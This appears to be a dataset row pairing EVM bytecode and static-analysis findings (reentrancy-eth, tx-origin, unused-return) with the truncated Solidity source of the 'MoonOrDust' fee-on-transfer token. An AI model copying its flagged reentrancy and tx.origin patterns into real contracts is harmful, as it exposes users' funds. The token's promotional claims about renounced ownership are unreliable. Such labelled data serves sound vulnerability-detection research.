060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611261611495565b73ffffffffffffffffffffffffffffffffffffffff1661127f610f65565b73ffffffffffffffffffffffffffffffffffffffff16146112d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cc9061342e565b60405180910390fd5b80600f8190555050565b6112e7611495565b73ffffffffffffffffffffffffffffffffffffffff16611305610f65565b73ffffffffffffffffffffffffffffffffffffffff161461135b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113529061342e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c290613567565b60405180910390fd5b6000600460006113d9610f65565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061143381612235565b600160046000611441610f65565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561150d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611504906135f9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561157d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115749061368b565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161165b91906130c7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cf9061371d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f906137af565b60405180910390fd5b6000811161178b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178290613841565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561182f5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c8757600d60149054906101000a900460ff16611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187a906138ad565b60405180910390fd5b600e548111156118c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118bf90613919565b60405180910390fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561196c5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a2906139ab565b60405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611baa57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a695750600d60179054906101000a900460ff165b15611b52574260b4600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abb91906139cb565b108015611b1257504260b4600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1091906139cb565b105b611b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4890613a93565b60405180910390fd5b5b600f5481611b5f84610e08565b611b6991906139cb565b10611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba090613b25565b60405180910390fd5b5b6000611bb530610e08565b9050600060105482101590506010548210611bd05760105491505b808015611bea5750600d60159054906101000a900460ff16155b8015611c445750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c5c5750600d60169054906101000a900460ff165b15611c8457611c6a826122f9565b60004790506000811115611c8257611c814761260c565b5b505b50505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d2e5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611de15750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611de05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611def5760009050611f64565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e9a5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ea9576006546008819055505b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f545750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f63576007546008819055505b5b42600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ff884848484612678565b50505050565b6000838311158290612046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203d9190612f17565b60405180910390fd5b50600083856120559190613b45565b9050809150509392505050565b60006120ed826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061218282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161222291906130c7565b60405180910390a3600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001600d60156101000a81548160ff021916908315150217905550600061233d606461232f6055856126fe90919063ffffffff16565b61277990919063ffffffff16565b90506000818361234d9190613b45565b905060004790506000600267ffffffffffffffff81111561237157612370612ca5565b5b60405190808252806020026020018201604052801561239f5781602001602082028036833780820191505090505b50905030816000815181106123b7576123b661344e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561245957600080fd5b505afa15801561246d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124919190613b8e565b816001815181106124a5576124a461344e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061250c30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168761149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478560008430426040518663ffffffff1660e01b8152600401612570959493929190613cb4565b600060405180830381600087803b15801561258a57600080fd5b505af115801561259e573d6000803e3d6000fd5b5050505060006125b783476127c390919063ffffffff16565b90506125e9846125e460646125d6600f866126fe90919063ffffffff16565b61277990919063ffffffff16565b61280d565b50505050506000600d60156101000a81548160ff02191690831515021790555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612674573d6000803e3d6000fd5b5050565b8061268e57612688848484612062565b5061269a565b6126998484846128fb565b5b50505050565b60008082846126af91906139cb565b9050838110156126f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126eb90613d5a565b60405180910390fd5b8091505092915050565b6000808314156127115760009050612773565b6000828461271f9190613d7a565b905082848261272e9190613e03565b1461276e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276590613ea6565b60405180910390fd5b809150505b92915050565b60006127bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ad5565b905092915050565b600061280583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ffe565b905092915050565b61283a30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806000426040518863ffffffff1660e01b81526004016128a296959493929190613ec6565b6060604051808303818588803b1580156128bb57600080fd5b505af11580156128cf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906128f49190613f3c565b5050505050565b60006129078483612b38565b9050612992826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a2781600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ac791906130c7565b60405180910390a350505050565b60008083118290612b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b139190612f17565b60405180910390fd5b5060008385612b2b9190613e03565b9050809150509392505050565b600080612b636064612b55600854866126fe90919063ffffffff16565b61277990919063ffffffff16565b9050612bb781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612c5791906130c7565b60405180910390a3612c7281846127c390919063ffffffff16565b91505092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612cdd82612c94565b810181811067ffffffffffffffff82111715612cfc57612cfb612ca5565b5b80604052505050565b6000612d0f612c7b565b9050612d1b8282612cd4565b919050565b600067ffffffffffffffff821115612d3b57612d3a612ca5565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612d7c82612d51565b9050919050565b612d8c81612d71565b8114612d9757600080fd5b50565b600081359050612da981612d83565b92915050565b6000612dc2612dbd84612d20565b612d05565b90508083825260208201905060208402830185811115612de557612de4612d4c565b5b835b81811015612e0e5780612dfa8882612d9a565b845260208401935050602081019050612de7565b5050509392505050565b600082601f830112612e2d57612e2c612c8f565b5b8135612e3d848260208601612daf565b91505092915050565b600060208284031215612e5c57612e5b612c85565b5b600082013567ffffffffffffffff811115612e7a57612e79612c8a565b5b612e8684828501612e18565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612ec9578082015181840152602081019050612eae565b83811115612ed8576000848401525b50505050565b6000612ee982612e8f565b612ef38185612e9a565b9350612f03818560208601612eab565b612f0c81612c94565b840191505092915050565b60006020820190508181036000830152612f318184612ede565b905092915050565b6000819050919050565b612f4c81612f39565b8114612f5757600080fd5b50565b600081359050612f6981612f43565b92915050565b60008060408385031215612f8657612f85612c85565b5b6000612f9485828601612d9a565b9250506020612fa585828601612f5a565b9150509250929050565b60008115159050919050565b612fc481612faf565b82525050565b6000602082019050612fdf6000830184612fbb565b92915050565b612fee81612faf565b8114612ff957600080fd5b50565b60008135905061300b81612fe5565b92915050565b60006020828403121561302757613026612c85565b5b600061303584828501612ffc565b91505092915050565b6000819050919050565b600061306361305e61305984612d51565b61303e565b612d51565b9050919050565b600061307582613048565b9050919050565b60006130878261306a565b9050919050565b6130978161307c565b82525050565b60006020820190506130b2600083018461308e565b92915050565b6130c181612f39565b82525050565b60006020820190506130dc60008301846130b8565b92915050565b6000806000606084860312156130fb576130fa612c85565b5b600061310986828701612d9a565b935050602061311a86828701612d9a565b925050604061312b86828701612f5a565b9150509250925092565b600060ff82169050919050565b61314b81613135565b82525050565b60006020820190506131666000830184613142565b92915050565b61317581612d71565b82525050565b6000602082019050613190600083018461316c565b92915050565b600080604083850312156131ad576131ac612c85565b5b60006131bb85828601612f5a565b92505060206131cc85828601612f5a565b9150509250929050565b600080604083850312156131ed576131ec612c85565b5b60006131fb85828601612d9a565b925050602061320c85828601612ffc565b9150509250929050565b600080fd5b60008083601f84011261323157613230612c8f565b5b8235905067ffffffffffffffff81111561324e5761324d613216565b5b60208301915083602082028301111561326a57613269612d4c565b5b9250929050565b60008083601f84011261328757613286612c8f565b5b8235905067ffffffffffffffff8111156132a4576132a3613216565b5b6020830191508360208202830111156132c0576132bf612d4c565b5b9250929050565b600080600080604085870312156132e1576132e0612c85565b5b600085013567ffffffffffffffff8111156132ff576132fe612c8a565b5b61330b8782880161321b565b9450945050602085013567ffffffffffffffff81111561332e5761332d612c8a565b5b61333a87828801613271565b925092505092959194509250565b60006020828403121561335e5761335d612c85565b5b600061336c84828501612d9a565b91505092915050565b60006020828403121561338b5761338a612c85565b5b600061339984828501612f5a565b91505092915050565b600080604083850312156133b9576133b8612c85565b5b60006133c785828601612d9a565b92505060206133d885828601612d9a565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613418602083612e9a565b9150613423826133e2565b602082019050919050565b600060208201905081810360008301526134478161340b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006134b782612f39565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156134ea576134e961347d565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613551602683612e9a565b915061355c826134f5565b604082019050919050565b6000602082019050818103600083015261358081613544565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006135e3602483612e9a565b91506135ee82613587565b604082019050919050565b60006020820190508181036000830152613612816135d6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613675602283612e9a565b915061368082613619565b604082019050919050565b600060208201905081810360008301526136a481613668565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613707602583612e9a565b9150613712826136ab565b604082019050919050565b60006020820190508181036000830152613736816136fa565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613799602383612e9a565b91506137a48261373d565b604082019050919050565b600060208201905081810360008301526137c88161378c565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061382b602983612e9a565b9150613836826137cf565b604082019050919050565b6000602082019050818103600083015261385a8161381e565b9050919050565b7f544f4b454e3a2054726164696e67206e6f742079657420737461727465640000600082015250565b6000613897601e83612e9a565b91506138a282613861565b602082019050919050565b600060208201905081810360008301526138c68161388a565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613903601c83612e9a565b915061390e826138cd565b602082019050919050565b60006020820190508181036000830152613932816138f6565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613995602383612e9a565b91506139a082613939565b604082019050919050565b600060208201905081810360008301526139c481613988565b9050919050565b60006139d682612f39565b91506139e183612f39565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613a1657613a1561347d565b5b828201905092915050565b7f544f4b454e3a2033206d696e7574657320636f6f6c646f776e2062657477656560008201527f6e20627579730000000000000000000000000000000000000000000000000000602082015250565b6000613a7d602683612e9a565b9150613a8882613a21565b604082019050919050565b60006020820190508181036000830152613aac81613a70565b9050919050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613b0f602383612e9a565b9150613b1a82613ab3565b604082019050919050565b60006020820190508181036000830152613b3e81613b02565b9050919050565b6000613b5082612f39565b9150613b5b83612f39565b925082821015613b6e57613b6d61347d565b5b828203905092915050565b600081519050613b8881612d83565b92915050565b600060208284031215613ba457613ba3612c85565b5b6000613bb284828501613b79565b91505092915050565b6000819050919050565b6000613be0613bdb613bd684613bbb565b61303e565b612f39565b9050919050565b613bf081613bc5565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613c2b81612d71565b82525050565b6000613c3d8383613c22565b60208301905092915050565b6000602082019050919050565b6000613c6182613bf6565b613c6b8185613c01565b9350613c7683613c12565b8060005b83811015613ca7578151613c8e8882613c31565b9750613c9983613c49565b925050600181019050613c7a565b5085935050505092915050565b600060a082019050613cc960008301886130b8565b613cd66020830187613be7565b8181036040830152613ce88186613c56565b9050613cf7606083018561316c565b613d0460808301846130b8565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613d44601b83612e9a565b9150613d4f82613d0e565b602082019050919050565b60006020820190508181036000830152613d7381613d37565b9050919050565b6000613d8582612f39565b9150613d9083612f39565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613dc957613dc861347d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613e0e82612f39565b9150613e1983612f39565b925082613e2957613e28613dd4565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613e90602183612e9a565b9150613e9b82613e34565b604082019050919050565b60006020820190508181036000830152613ebf81613e83565b9050919050565b600060c082019050613edb600083018961316c565b613ee860208301886130b8565b613ef56040830187613be7565b613f026060830186613be7565b613f0f608083018561316c565b613f1c60a08301846130b8565b979650505050505050565b600081519050613f3681612f43565b92915050565b600080600060608486031215613f5557613f54612c85565b5b6000613f6386828701613f27565b9350506020613f7486828701613f27565b9250506040613f8586828701613f27565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122018fd46637f5662ecd20d81290fa9ddfc943cffff5073a83151cee001743ca7f464736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,216 |
0xd8f44b910354008714c63bd8970c83056d88548f
|
/**
-------- Moon Or Dust ---------
LP Will Be Locked On Team.Finance
Ownership Renounced.
Moon Or Dust - Small tax : 4% / 4%
Max buy : 2%
Max wallet : 4%
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MoonOrDust is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"MoonOrDust"; ////
string public constant symbol = unicode"MOD"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeAddress1;
address payable public _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 4;
uint public _sellFee = 4;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 20000000000 * 10**9; // 2%
_maxHeldTokens = 40000000000 * 10**9; // 4%
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
